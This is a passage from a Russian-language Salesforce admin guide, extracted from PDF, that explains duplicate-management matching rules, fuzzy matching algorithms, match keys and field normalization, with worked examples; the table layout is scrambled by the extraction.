ИЛИ («Веб-сайт» И «Тел.»)

ИЛИ («Веб-сайт» И «Улица для счета»)
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Критерии соответствия

Определениекаждого критерия соответствия см. вразделе «Критериисоответствиядляправилсоответствия»на странице
859.

Специальная обработкаПустые
поля

Пороговое
значение

Метод
вычисления
уровня

Алгоритмы
совпадения

Поле

Удалениетакихслов, как Inc и Corp, передсравнением
полей. Кроме того, нормализация названий компаний.

Не
совпадают

70Максимальное
значение

Акроним

Дистанция
редактирования

Имя
организации

Например, значение «1-ый национальный банк»
заменяется значением «Первый национальный банк».

Точное

Номера телефоновразбиваютсянафрагменты, которые
используются для сравнения. Каждыйфрагмент

Не
совпадают

80Средневзвешенное
значение

ТочноеТел.

использует собственный метод и уровень совпадения.во всех
Вычисление весовых значений уровней позволяетразделах,
получить один уровень для поля. Данный процесс
эффективнообрабатывает североамериканские данные.

кроме
раздела
«Код • Международный код (точное; 10% от уровня

совпадения поля)района»,
пропускающего

• Код района (точное; 50% от уровня совпадения поля)пустые
поля • Следующие три цифры (точное; 30% от уровня

совпадения поля)

• Последние четыре цифры (точное; 10% от уровня
совпадения поля)

Например, система выполняет сравнение следующих
двух номеров телефонов: «1-415-555-1234» и
«1-415-555-5678».

Ввиду точного совпадения всех фрагментов, кроме
последних четырех цифр, полю присваивается уровень
совпадения «90», а самизначениясчитаются совпадением
по причине превышения порогового значения, равного
«80».

Адреса разбиваются на фрагменты, которые
используются для сравнения. Каждыйфрагмент

Не
совпадают

80Средневзвешенное
значение

Дистанция
редактирования

Точное

Улица
для счета

использует собственный метод и уровень совпадения.
Вычисление весовых значений уровней позволяет
получить один уровень для поля. Данный процесс
эффективнообрабатывает североамериканские данные.

• Номердома (точное; 20% от уровня совпаденияполя)

• Улица (дистанция редактирования; 50% от уровня
совпадения поля)

• Суффикс улицы (точное; 15% от уровня совпадения
поля)

854

Ссылка на правило соответствияНастройка и обслуживание организации Salesforce



Специальная обработкаПустые
поля

Пороговое
значение

Метод
вычисления
уровня

Алгоритмы
совпадения

Поле

• Номер квартиры (точное; 15% от уровня совпадения
поля)

Например, система выполняет сравнение следующих
двух улиц для счета: «Улица Мира 123, кв. 100» и
«Проспект Мира 123, кв. 300».

Ввиду совпадения тольконазвания улицыиномерадома,
полю присваивается уровень совпадения «70», а сами
значения не считаются совпадением по причине
непревышения порогового значения, равного «80».

Почтовыеиндексыразбиваются нафрагменты, которые
используются для сравнения. Каждыйфрагмент

Не
совпадают

80Средневзвешенное
значение

ТочноеИндекс

использует собственный метод и уровень совпадения.
Вычисление весовых значений уровней позволяет
получить один уровень для поля.

• Первыепятьцифр (точное; 90% отуровнясовпадения
поля)

• Следующие четыре цифры (точное; 10% от уровня
совпадения поля)

Например, система выполняет сравнение следующих
двух почтовых индексов: «94104–1001» и «94104».

Ввиду совпадения только первых пяти цифр, полю
присваивается уровень совпадения «90», а сами значения
считаются совпадением по причине превышения
порогового значения, равного «80».

Не
совпадают

85Максимальное
значение

Дистанция
редактирования

Точное

Город

Сравнивается только домен веб-сайта. Например,
значение поля http://www.salesforce.com
заменяется значением salesforce.com.

Не
совпадают

100Максимальное
значение

ТочноеВеб-сайт

СМ. ТАКЖЕ:

Ссылка на правило соответствия

Стандартное правило соответствия для контактов и интересов
Подобно всем правилам соответствия, стандартное правило соответствия для записей контактов и интересов содержит
поля, объединенные в уравнение. Кроме того, каждое поле содержит критерии соответствия, используемые правилом
для определения степени соответствия полей и последующего сопоставления записей.
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Уравнение соответствия

Уравнение соответствияИмя правила

(«Личное имя» И «Фамилия» И «Должность» И «Название
компании»)

ИЛИ («Личное имя» И «Фамилия» И «Эл. почта»)

Стандартное правило соответствия для контактов

Стандартное правило соответствия для интересов

ИЛИ («Личное имя» И «Фамилия» И «Тел.» И «Название
компании»)

ИЛИ («Личное имя» И «Фамилия» И «Улица в почтовом
адресе» И («Город» ИЛИ «Индекс» ИЛИ «Тел.»)

ИЛИ («Личное имя» И «Фамилия» И «Улица в почтовом
адресе» И «Должность»)

ИЛИ («Личное имя» И «Фамилия» И «Должность» И «Эл.
почта»)

ИЛИ («Личное имя» И «Фамилия» И «Тел.»)

Критерии соответствия

Определениекаждого критерия соответствия см. вразделе «Критериисоответствиядляправилсоответствия»на странице
859.

Специальная обработкаПустые
поля

Пороговое
значение

Метод
вычисления
уровня

Алгоритмы
совпадения

Поля
интересов

Поля
контактов

Если запись содержит значения для полей
«Личное имя» и «Фамилия», то данные

Не
совпадают
(при

85Максимальное
значение

Точное

Инициалы

Дистанция
Яро-Винклера

Личное
имя

Личное
имя

значения будут поменяны местами ввиду
наличия возможных ошибок ввода данных.

Например, при наличии личного имени
«Алексей» и фамилии «Роман» правило

добавлении
поля «Эл.
почта» в
группировку

Метафон 3

Вариант
имени

соответствия также оценивает значения
«Роман» как личное имя и «Алексей» как
фамилию.

пустые поля
пропускаются)

Если запись содержит значения для полей
«Личное имя» и «Фамилия», то данные

Не
совпадают
(при

90Максимальное
значение

Точное

Дистанция
клавиатуры

ФамилияФамилия

значения будут поменяны местами ввиду
наличия возможных ошибок ввода данных.

Например, при наличии личного имени
«Алексей» и фамилии «Роман» правило

добавлении
поля «Эл.
почта» в
группировку

Метафон 3

соответствия также оценивает значения
пустые поля
пропускаются)

«Роман» как личное имя и «Алексей» как
фамилию.
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Специальная обработкаПустые
поля

Пороговое
значение

Метод
вычисления
уровня

Алгоритмы
совпадения

Поля
интересов

Поля
контактов

Не
совпадают

50Максимальное
значение

Акроним

Точное

ДолжностьДолжность

Дистанция
Куллбака-Либлера

Не
совпадают

70Максимальное
значение

Акроним

Дистанция
редактирования

КомпанияИмя
организации

Точное

Не
совпадают

100Максимальное
значение

ТочноеЭл.
почта

Эл. почта

Номера телефонов разбиваются на
фрагменты, которые используются для

Не
совпадаютво

80Средневзвешенное
значение

ТочноеТел.Тел.

сравнения. Каждыйфрагмент используетвсех
собственный метод и уровень совпадения.разделах,
Вычисление весовых значений уровнейкроме
позволяет получить один уровень для поля.раздела «Код
Данныйпроцессэффективнообрабатывает
североамериканские данные.

района»,
пропускающего
пустые поля • Международный код (точное; 10% от

уровня совпадения поля)

• Код района (точное; 50% от уровня
совпадения поля)

• Следующие три цифры (точное; 30% от
уровня совпадения поля)

• Последние четыре цифры (точное; 10%
от уровня совпадения поля)

Например, система выполняет сравнение
следующих двух номеров телефонов:
«1-415-555-1234» и
«1-415-555-5678».

Ввидуточногосовпадениявсехфрагментов,
кроме последних четырех цифр, полю
присваивается уровень совпадения «90», а
сами значения считаются совпадением по
причинепревышенияпороговогозначения,
равного «80».

Адресаразбиваютсянафрагменты, которые
используются для сравнения. Каждый

Не
совпадают

80Средневзвешенное
значение

ТочноеУлицаУлица в
почтовом
адресе фрагмент использует собственныйметод и
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Специальная обработкаПустые
поля

Пороговое
значение

Метод
вычисления
уровня

Алгоритмы
совпадения

Поля
интересов

Поля
контактов

уровень совпадения. Вычисление весовых
значенийуровнейпозволяетполучитьодин
уровень для поля. Данный процесс
эффективно обрабатывает
североамериканские данные.

• Улица (дистанция редактирования; 50%
от уровня совпадения поля)

• Номер дома (точное; 20% от уровня
совпадения поля)

• Суффикс улицы (точное; 15% от уровня
совпадения поля)

• Номер квартиры (точное; 15% от уровня
совпадения поля)

Например, система выполняет сравнение
следующих двух адресов: «Улица Мира
123, кв. 100» и «Проспект Мира 123,

кв. 300».

Ввиду совпадения только названия улицыи
номера дома, полю присваивается уровень
совпадения «70», а сами значения не
считаются совпадением по причине
непревышения порогового значения,
равного «80».

Почтовые индексы разбиваются на
фрагменты, которые используются для

80Средневзвешенное
значение

ТочноеПочтовый
индекс

Индекс в
почтовом
адресе сравнения. Каждыйфрагмент использует

собственный метод и уровень совпадения.
Вычисление весовых значений уровней
позволяет получить один уровень для поля.

• Первые пять цифр (точное; 90% от
уровня совпадения поля)

• Следующиечетырецифры (точное; 10%
от уровня совпадения поля)

Не
совпадают

85Максимальное
значение

Дистанция
редактирования

Точное

ГородГород в
почтовом
адресе

СМ. ТАКЖЕ:

Ссылка на правило соответствия
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Критерии соответствия для правил соответствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Правила соответствия используют критерии для определения степени соответствия
поля новой или измененной записи такому же полю текущей записи и последующего
сопоставления двух записей. При создании настраиваемого правила соответствия
рекомендуем задать некоторые критерии. Стандартные правила соответствия содержат
дополнительные критерии, которые уже заданы для пользователя.

Прим.: Данныйвыпускподдерживаетбета-версиюфункцииуправленияповторами
Data.com, являющуюсяполноценной, ноимеющуюнекоторыеограничения. Чтобы
отправить свои отзывы и предложения, воспользуйтесь сообществом успеха
Salesforce. Дополнительную информацию о включении данной функции в
организации можно получить в компании Salesforce.

Задается
автоматически
для
настраиваемых
правил
соответствия

ОпределениеКритерий

Данный критерий определяет поле, которое должно
использоваться для сравнения. Ниже перечислены
рекомендации по выбору полей.

Поле

• Доступные поля определяются целевым объектом и могут
быть как стандартными, так и настраиваемыми.

• Поддерживаемые типы полей ввода: «Эл. почта»,
«Взаимосвязь поиска», «Взаимосвязь "Основная —
подробная"», «Число», «Тел.», «Стандартный
раскрывающийся список», «Настраиваемый
раскрывающийся список» (только с выбором одиночных
элементов), «Текст» и «URL-адрес».

• Поле автонумерации типа «Взаимосвязь поиска» не может
использоваться правилом соответствия.

• Если в организации включены раскрывающиеся списки
«Область» и «Страна», рекомендуется использовать «Код
области/штата»и «Кодстраны» вправилах соответствия.
Эти поля обеспечивают лучший результат определения
повторений по сравнению с текстовыми полями области
(штата) и страны.

Данныйкритерийопределяетспособсравненияполей. Система
поддерживает метод точного совпадения и разные методы

Метод
совпадения

неточного совпадения. Каждый метод совпадения
дополнительно определяется алгоритмами совпадения и
другими критериями.

Дополнительную информацию о методах совпадения см. в
разделе «Методы совпадения, используемые правилами
соответствия» на странице 862.
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Задается
автоматически
для
настраиваемых
правил
соответствия

ОпределениеКритерий

Данный критерий определяет логику, позволяющую установить степень совпадения
двухполей. Прииспользованииметодаточногосовпаденияавтоматическииспользуется

Алгоритм
совпадения

алгоритмточного совпадения. Прииспользованииметоданеточногосовпадениямогут
использоваться разные алгоритмы неточного совпадения. Каждому используемому
алгоритмусовпаденияавтоматическиназначаетсяуровеньсовпадениянаосновестепени
соответствия двух полей. Например, при выборе алгоритма точного совпадения и
полном соответствии двух полей уровню совпадения присваивается значение «100».
При несовпадении двух полей уровню совпадения присваивается значение «0».

Дополнительную информацию об алгоритмах совпадения см. в разделе «Алгоритмы
совпадения, используемые методами совпадения» на странице 865.

Данный критерий определяет способ обработки пустых полей, при условии что
два сравниваемых поля считаются совпадениями. При установке флажка «Считать

Считать
совпадением
пустые поля совпадением пустые поля» дляполя, являющегосяпустымв обеихсравниваемыхзаписях,

поля считаются совпадениями. Тем не менее, при установке флажка «Считать
совпадением пустые поля» дляполя, являющегосяпустымтолько в одной сравниваемой
записи, поля не считаются совпадениями.

При снятии флажка «Считать совпадением пустые поля» для поля, являющегося
пустым в обеих сравниваемых записях, поля не считаются совпадениями.

Данный критерий определяет способ вычисления уровней совпадения, используемых
алгоритмами совпадения, для получения одного уровня совпадения для поля. Каждому

Метод
вычисления
уровня используемому алгоритму совпадения автоматически назначается уровень совпадения

на основе степени соответствия двух полей. Метод вычисления уровня используется
только стандартными правилами соответствия.

«Среднее значение»: использует средний уровень совпадения.

«Максимальное значение»: использует максимальный уровень совпадения.

«Минимальное значение»: использует минимальный уровень совпадения.

«Средневзвешенное значение»: использует весовое значение каждогометода совпадения для
определения среднего уровня совпадения.

Данныйкритерийопределяетминимальныйуровеньсовпадения, позволяющийсчитать
поле совпадением. Полю автоматически назначается уровень совпадения на основе
степени его соответствия такому же полю текущей записи.

Пороговое
значение

Код, позволяющий правилу соответствия быстро возвращать список возможных
повторов. Активация правила соответствия инициирует автоматическое применение

Ключ
соответствия

ключа соответствия ко всем текущим записям, поэтому выполняемое правило
соответствия ищет повторы только среди записей с таким же ключом соответствия.
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Задается
автоматически
для
настраиваемых
правил
соответствия

ОпределениеКритерий

Данный процесс повышает производительность и возвращает усовершенствованный
набор возможных совпадений.

Дополнительнуюинформациюоключахсоответствия, включаяпримеры, см. вразделе
«Ключи соответствия и правила соответствия» на странице 867.

Пример

Пример: Допустим, что настраиваемое правило соответствия контактов содержит критерии ниже. Просмотрите
порядок сравнения и сопоставления записей.

• Уравнение соответствия: «Эл. почта» И («Тел.» ИЛИ «Город»).

• Все поля используют метод точного совпадения.

• Флажок «Считать совпадением пустые поля» установлен для полей «Тел.» и «Город».

Новая запись «А»

ГородТел.Эл. почта

Сан-Франциско415-555-1234jdoe@salesforce.com

Текущие записи, сравниваемые с новой записью «А»

Запись
совпадает?

Уровень
совпадения
города

ГородУровень
совпадения
телефона

Тел.Уровень
совпадения
эл.
почты

Эл. почтаЗапись

Да0нет100415-555-1234100jdoe@salesforce.com1

Да100Сан-Франциско0нет100jdoe@salesforce.com2

Нет100Сан-Франциско100415-555-12340jsmith@salesforce.com3

Нет0Окленд100415-555-12340нет4

Нет0Сан-Хосе0415–555-7777100jdoe@salesforce.com5

Новая запись «Б»

ГородТел.Эл. почта

нетнетjdoe@salesforce.com
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Текущие записи, сравниваемые с новой записью «Б»

Запись
совпадает?

Уровень
совпадения
города

ГородУровень
совпадения
телефона

Тел.Уровень
совпадения
эл.
почты

Эл. почтаЗапись

Да100нет0415-555-1234100jdoe@salesforce.com1

Да0Сан-Франциско100нет100jdoe@salesforce.com2

Да100нет100нет100jdoe@salesforce.com3

Нет0Сан-Франциско0415-555-12340jsmith@salesforce.com4

Нет0Окленд0415-555-12340нет5

СМ. ТАКЖЕ:

Ссылка на правило соответствия

Рекомендации по использованию инструментов управления повторами

Методы совпадения, используемые правилами соответствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Метод совпадения — это часть критериев соответствия, определяющая способ
сопоставленияотдельногополяоднойзаписис соответствующимполемдругой записи.
Системаподдерживаетметодточногосовпаденияиразныеметодынеточногосовпадения.

ОписаниеМетод совпадения

Данный метод выполняет поиск строк,
соответствующихшаблону полностью.
При наличии международных данных
рекомендуемиспользоватьметод точного
совпадения.

Точное

Данный метод выполняет поиск строк,
соответствующихшаблонунеполностью.

Неточное

Система поддерживает логику для разных
методов неточного совпадения.

Определениекаждого критерия соответствия см. вразделе «Критериисоответствиядляправилсоответствия»на странице
859.
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Специальная обработкаПороговое
значение

Метод
вычисления
уровня

Алгоритмы
совпадения

Метод неточного
совпадения

Поле «Отчество», используемое в правиле
соответствия, сравнивается методом
совпадения «Неточное: личное имя».

85Максимальное
значение

Точное

Инициалы

Яро-Винклер

Неточное: личное имя

Вариант имени

90Максимальное
значение

Точное

Дистанция
клавиатуры

Неточное: фамилия

Метафон 3

Удаление таких слов, как Inc и Corp,
перед сравнением полей. Кроме того,

70Максимальное
значение

Акроним

Точное

Неточное: название
компании

нормализация названий компаний.
Выравнивание
слогов

Например, «IBM» нормализуется к виду
«International Business
Machines».

Номера телефонов разбиваются на
фрагменты, которые используются для

80Средневзвешенное
значение

ТочноеНеточное: телефон

сравнения. Каждыйфрагмент использует
собственный метод и уровень совпадения.
Вычисление весовых значений уровней
позволяетполучитьодинуровеньдляполя.
Данныйпроцессэффективнообрабатывает
североамериканские данные.

• Международный код (точное; 10% от
уровня совпадения поля)

• Код района (точное; 50% от уровня
совпадения поля)

• Следующиетрицифры (точное; 30% от
уровня совпадения поля)

• Последниечетырецифры (точное; 10%
от уровня совпадения поля)

Например, система выполняет сравнение
следующих двух номеров телефонов:
«1-415-555-1234» и
«1-415-555-5678».

Ввидуточногосовпадениявсехфрагментов,
кроме последних четырех цифр, полю
присваивается уровень совпадения «90», а
сами значения считаются совпадением по
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Специальная обработкаПороговое
значение

Метод
вычисления
уровня

Алгоритмы
совпадения

Метод неточного
совпадения

причинепревышенияпороговогозначения,
равного «80».

85Максимальное
значение

Дистанция
редактирования

Точное

Неточное: город

Адресаразбиваютсянафрагменты, которые
используются для сравнения. Каждый

80Средневзвешенное
значение

ТочноеНеточное: улица

фрагментиспользует собственныйметоди
уровень совпадения. Вычисление весовых
значенийуровнейпозволяетполучитьодин
уровень для поля. Данный процесс
эффективно обрабатывает
североамериканские данные.

• Улица (дистанция редактирования; 50%
от уровня совпадения поля)

• Номер дома (точное; 20% от уровня
совпадения поля)

• Суффикс улицы (точное; 15% от уровня
совпадения поля)

• Номерквартиры (точное; 15% от уровня
совпадения поля)

Например, система выполняет сравнение
следующих двух улиц для счета: «Улица
Мира 123, кв. 100» и «Проспект Мира
123, кв. 300».

Ввиду совпадения только названия улицы
иномерадома, полюприсваиваетсяуровень
совпадения «70», а сами значения не
считаются совпадением по причине
непревышения порогового значения,
равного «80».

Почтовые индексы разбиваются на
фрагменты, которые используются для

80Средневзвешенное
значение

ТочноеНеточное: индекс

сравнения. Каждыйфрагмент использует
собственный метод и уровень совпадения.
Вычисление весовых значений уровней
позволяетполучитьодинуровеньдляполя.

• Первые пять цифр (точное; 90% от
уровня совпадения поля)
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Специальная обработкаПороговое
значение

Метод
вычисления
уровня

Алгоритмы
совпадения

Метод неточного
совпадения

• Следующиечетырецифры (точное; 10%
от уровня совпадения поля)

Например, система выполняет сравнение
следующих двух почтовых индексов:
«94104–1001» и «94104».

Ввиду совпадения только первых пяти
цифр, полю присваивается уровень
совпадения «90», а самизначениясчитаются
совпадением по причине превышения
порогового значения, равного «80».

50Максимальное
значение

Акроним

Точное

Неточное: должность

Дистанция
Куллбака-Либлера

Алгоритмы совпадения, используемые методами совпадения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Метод совпадения и алгоритм совпадения — это часть критериев соответствия. При
совместном использовании они определяют способ сопоставления отдельного поля
одной записи с соответствующим полем другой записи, а также степень соответствия
полей.

Системаподдерживаетметодточногосовпаденияиразныеметодынеточногосовпадения.
При выборе метода точного совпадения сравнение полей выполняется автоматически
посредством алгоритма точного совпадения. При выборе одногоизметодов неточного
совпадения сравнение полей выполняется посредством разных алгоритмов неточного
совпадения. Сравнениеполейможет выполняться посредствомнескольких алгоритмов
совпадения; каждому алгоритму совпадения назначается уровень совпадения на основе
степени соответствия полей. Поля, обрабатываемые алгоритмами совпадения, не
чувствительны к регистру.

Дополнительнуюинформациюометодахсовпадениясм. вразделе «Методысовпадения,
используемые правилами соответствия» на странице 862.

Алгоритмы совпадения, доступные для метода точного совпадения

ОписаниеАлгоритм совпадения

Данный алгоритм определяет сходство двух строк.
Например, значения «salesforce.com» и «Salesforce» не

Точное

считаются совпадением ввиду наличия некоторых
различий, поэтомувозвращаютуровеньсовпадения, равный
«0».
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Алгоритмы совпадения, доступные для методов неточного совпадения

ОписаниеАлгоритм совпадения

Данный алгоритм определяет соответствие официального имени акрониму.
Например, название «Advanced Micro Devices» и аббревиатура «AMD» считаются
совпадением, поэтому возвращается уровень совпадения, равный 100.

Акроним

Данный алгоритм определяет сходство двух строк на основе количества удалений,
вставоки заменсимволов, необходимыхдляпреобразованияоднойстрокивдругую.

Дистанция редактирования

Например, значение «Вице-президент, продажи» соответствует значению
«Вице-президент по продажам» с уровнем совпадения, равным «73».

Данный алгоритм определяет сходство двух наборов инициалов для личных имен.
Например, личноеимя «Сергей» иегоинициал «С» считаются совпадением, поэтому
возвращают уровень совпадения, равный «100».

Инициалы

Данный алгоритм определяет сходство двух строк на основе количества замен
символов, необходимыхдляпреобразованияоднойстрокивдругую. Данныйметод

Дистанция Яро-Винклера

эффективно обрабатывает короткие строки (например, личные имена). Например,
имя «Сережка» соответствует имени «Сережа» с уровнем совпадения, равным «97».

Данный алгоритм определяет сходство двух строк на основе количества удалений,
вставоки заменсимволов, необходимыхдляпреобразованияоднойстрокивдругую,
которое вычисляется по положению клавиш на клавиатуре.

Дистанция клавиатуры

Данныйалгоритмопределяетсходстводвухстрокнаосновепроцентногосодержания
общих слов. Например, значение «Маркетинговый директор» соответствует
значению «Директор по маркетингу» с уровнем совпадения, равным «65».

Дистанция Куллбака-Либлера

Данный алгоритм определяет сходство двух строк на основе их звуков. Данный
алгоритм пытается учитывать несовершенства языков, поэтому эффективно

Метафон 3

обрабатывает личные имена и фамилии. Например, имя «Алена» соответствует
имени «Олена» с уровнем совпадения, равным «100».

Данныйалгоритмопределяет сходстводвухименнаосновеихвариации. Например,
имя «Оксана» является вариантом имени «Ксения», поэтому возвращается уровень

Вариант имени

совпадения равный 100. Имя «Оксана» не является вариантом имени «Наталья»,
поэтому возвращается уровень совпадения, равный 0.

СМ. ТАКЖЕ:

Ссылка на правило соответствия
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Ключи соответствия и правила соответствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ключисоответствияиспользуютсядляповышенияэффективностиправилсоответствия.
Чтобылучшепонятьпринципдействияправилсоответствия, изучитепроцесс создания
ключей соответствия.

Ключ соответствия — это код, позволяющий правилу соответствия быстро возвращать
список возможных повторов. Активация правила соответствия инициирует
автоматическое применение ключа соответствия ко всем текущим записям, поэтому
выполняемое правило соответствия ищет повторы только среди записей с таким же
ключом соответствия. Данный процесс, называемый индексацией, повышает
производительностьивозвращаетусовершенствованныйнаборвозможныхсовпадений.

Ключи соответствия для стандартных и настраиваемыхправил соответствия создаются
автоматически на основе полей правила соответствия. Каждое настраиваемое правило
соответствия может содержать только 10 ключей соответствия, поэтому правило
соответствия, требующее более 10 ключей, не будет сохранено.

Процесс создания ключей соответствия состоит из нескольких этапов.

1. Уравнение правила соответствия (то есть, порядок полей) перезаписывается посредством стандартизированного
формата, заменяющего операторы «ИЛИ» на операторы «И».

2. Полянормализуютсяпосредствомметодов, используемыхстандартнымиправиламисоответствия. Дополнительную
информациюсм. вразделе «Ключисоответствия, используемыестандартнымиправиламисоответствия»настранице
868.

3. Стандартизированныйформат поля и значения нормализованных полей используются для создания ключей
соответствия.

Прим.: В настоящее время создание ключей соответствия не поддерживается полями «Должность» и «Адрес».
Таким образом, добавление данных полей в правило соответствия препятствует созданию ключей соответствия.

Пример: Пример

Значение нормализованного поляЗначение поляИмя поля

jJohnЛичное имя

joreilly@intelcomjohn_oreilly@us.intel.comЭл. почта

arlO’ReillyФамилия

intelIntel Corp.Компания

Ключи соответствия (со
значениями
нормализованных полей)

Ключи соответствия
(комбинации полей)

Стандартизированный
формат

Уравнение правила
соответствия

jarlЛичное имя Фамилия(«Личное имя» И
«Фамилия») ИЛИ

(«Личноеимя» ИЛИ «Эл.
почта») И

(«Фамилия» ИЛИ
«Компания»)

jintelЛичное имя Компания(«Личное имя» И
«Компания») ИЛИ

867

Ссылка на правило соответствияНастройка и обслуживание организации Salesforce



Ключи соответствия (со
значениями
нормализованных полей)

Ключи соответствия
(комбинации полей)

Стандартизированный
формат

Уравнение правила
соответствия

joreilly@intelcomarlЭл. почта Фамилия(«Эл. почта» И «Фамилия»)
ИЛИ

joreilly@intelcomintelЭл. почта Компания(«Эл. почта» И
«Компания») ИЛИ

Ключи соответствия, используемые стандартными правилами соответствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ключисоответствияиспользуютсядляповышенияэффективностиправилсоответствия.
Чтобы понять принцип работы стандартных правил соответствия, воспользуйтесь
сведениями о ключе соответствия.

Что такое ключ соответствия?
Ключ соответствия — это код, позволяющий правилу соответствия быстро возвращать
список возможных повторов. Активация правила соответствия инициирует
автоматическое применение ключа соответствия ко всем текущим записям, поэтому
выполняемое правило соответствия ищет повторы только среди записей с таким же
ключом соответствия. Данный процесс, называемый индексацией, повышает
производительностьивозвращаетусовершенствованныйнаборвозможныхсовпадений.

Принцип чтения ключа соответствия

• Поле, используемое ключом соответствия (1).

• Количество маркеров (или наборов строк символов) в значении поля для добавления в ключ соответствия (2). При
пустом количестве добавляются все маркеры.

• Количество символов в маркере для добавления в ключ соответствия (3). При пустом количестве добавляются все
символы.

• Дополнительное поле, используемое ключом соответствия (4).

Нормализация полей
Ключи соответствия применяются к записям только после нормализации значений их полей.
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ПримерыСведения о нормализацииПоле

IBM = international business machines

Intel Corp. = intel

Раскрытие акронимов. Отображениепервойбуквыкаждогослова
в нижнем регистре. Удаление суффиксов (например,
Corporation, Incorporated, Inc, Limited, Ltd). Удаление
стоп-слов (например, and, the, of).

Компания

Dr. Jane = j

Mr. Bob= robert = r

Удаление приветствий и всех букв, кроме первой буквы первого
слова. Отображение первой буквы в нижнем регистре. Замена
личного имени псевдонимом (при его наличии).

Личное
имя

O’Reilly, Jr. = oreily (без двойного
метафона)

O’Reilly, Jr. = oreily = arl (с двойным
метафоном)

Удаление специальных символов и суффиксов. Замена
последовательных одинаковых согласных одной согласной.
Отображение первой буквы в нижнем регистре. После
нормализации применяется алгоритм двойного метафона.

Фамилия

john_doe@salesforce.com =
jdoe@salesforcecom

john.doe@us.salesforce.com =
jdoe@salesforcecom

Удаление специальных символов (например, символы
подчеркивания и точки) из обеих частей адреса эл. почты.

Эл. почта

1-800-555-1234 = 800555

44 20 0540 0202 = 44200540

Удалениевсехнецифровыхинебуквенныхсимволов. Длялюбого
американского номера телефона: преобразование букв в цифры
и удаление международного кода. Удаление последних четырех
цифр.

Тел.

http://www.us.salesforce.com/product =
salesforce.com

http://www.ox.ac.uk/ = ox.ac.uk

Удаление протокола (http), субдомена (www) и любого пути к
файлу. Использованиетолькопоследнихдвухилитрехмаркеров,
в зависимости от наличия международных обозначений.

Веб-сайт

Предопределенные ключи соответствия
Ниже перечислены ключи соответствия, применяемые ко всем текущим записям после нормализации полей. Данный
процесс, называемый индексацией, выполняется после активации правила соответствия.

ПримерЦелевые
объекты

Ключ соответствия

Организация: salesforce.com = salesf

Город: San Francisco = sanfra

ОрганизацияКомпания (2,6) Город (_, 6)

Ключ: salesfsanfra

Имя организации: salesforce.com = salesf

Индекс: 94105-5188 = 941

ОрганизацияКомпания (2,6) Индекс (1,3)

Ключ: salesf941
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ПримерЦелевые
объекты

Ключ соответствия

Эл. почта: john_doe@us.ibm.com = johndoe@ibm.com

Ключ: johndoe@ibm.com

Контакт

Интерес

Эл. почта

Личное имя: John = j

Фамилия: Doe = doe = t (с двойным метафоном)

Контакт

Интерес

Личное_имя (1,1) Фамилия Эл. почта

Эл. почта: john_doe@us.salesforce.com =
johndoe@salesforce.com

Ключ: jt@salesforce.com

Личное имя: Marc = m

Фамилия: Benioff = pnf (с двойным метафоном)

Контакт

Интерес

Личное_имя (1,1) ФамилияКомпания (2,5)

Компания: salesforce.com = sales

Ключ: mpnfsales

Личное имя: Marc = m

Фамилия: Benioff = pnf (с двойным метафоном)

Контакт

Интерес

Личное_имя (1,1) Фамилия Тел.

Тел.: 1-415-555-1234 = 415555

Ключ: mpnf415555

Личное имя: Marc = m

Фамилия: Benioff = pnf (с двойным метафоном)

Контакт

Интерес

Личное_имя (1,1) Фамилия Эл. почта
(домен)

Эл. почта: marc.benioff@salesforce.com = salesforce.com

Ключ: mpnfsalesforce.com

Веб-сайт: https://www.salesforce.com = salesforce.com

Город: San Francisco = sanfra

ОрганизацияВеб-сайт Город (_,6)

Ключ: salesforce.comsanfra

Веб-сайт: https://www.salesforce.com = salesforce.com

Индекс: 94105-5188 = 941

ОрганизацияВеб-сайт Индекс (1,3)

Ключ: salesforce.com941
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Справка по правилам управления повторами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныйразделсодержитнекоторыедополнительныесведения, описывающиепринципы
работы и способы использования правил управления повторами.

Стандартные правила управления повторами
Начинаясвыпуска Spring ‘15 вовсехновыхорганизацияхSalesforceправилауправления
повтораминастроеныиактивированыдляорганизаций, контактовиинтересов. Эти
правила определяют действия, выполняемые при попытке сохранения
повторяющейся записи. Каждое стандартноеправило управленияповторамиимеет
соответствующее стандартное правило соответствия, предназначенное для
определения возможных повторов.

Стандартные правила управления повторами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Начиная с выпуска Spring ‘15 во всех новых организациях Salesforce правила управления
повторами настроены и активированы для организаций, контактов и интересов. Эти
правила определяют действия, выполняемыеприпопытке сохранения повторяющейся
записи. Каждое стандартное правило управления повторами имеет соответствующее
стандартное правило соответствия, предназначенное для определения возможных
повторов.

Стандартное правило управления повторами для организации
Подобновсемправиламуправленияповторами, стандартныеправила, используемые
для организаций, определяют действия, выполняемые при попытке сохранения
повторяющейся записи. Припопытке сохраненияновойорганизацииотображается
предупреждение.

Стандартное правило управления повторами для контактов
Подобно всем правилам управления повторами, стандартные правила, используемые для контактов, определяют
действия, выполняемые при попытке сохранения повторяющейся записи. Припопытке сохранения нового контакта
отображается предупреждение.

Стандартное правило управления повторами для интересов
Подобно всем правилам управления повторами, стандартные правила, используемые для интересов, определяют
действия, выполняемыеприпопытке сохраненияповторяющейся записи. Припопытке сохранениянового интереса
отображается предупреждение.

Стандартное правило управления повторами для организации
Подобно всем правилам управления повторами, стандартные правила, используемые для организаций, определяют
действия, выполняемые при попытке сохранения повторяющейся записи. Припопытке сохранения новой организации
отображается предупреждение.

Сведения о правиле

Стандартное правило управления повторами для организацииИмя правила
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Правило управления повторами для организацийОписание

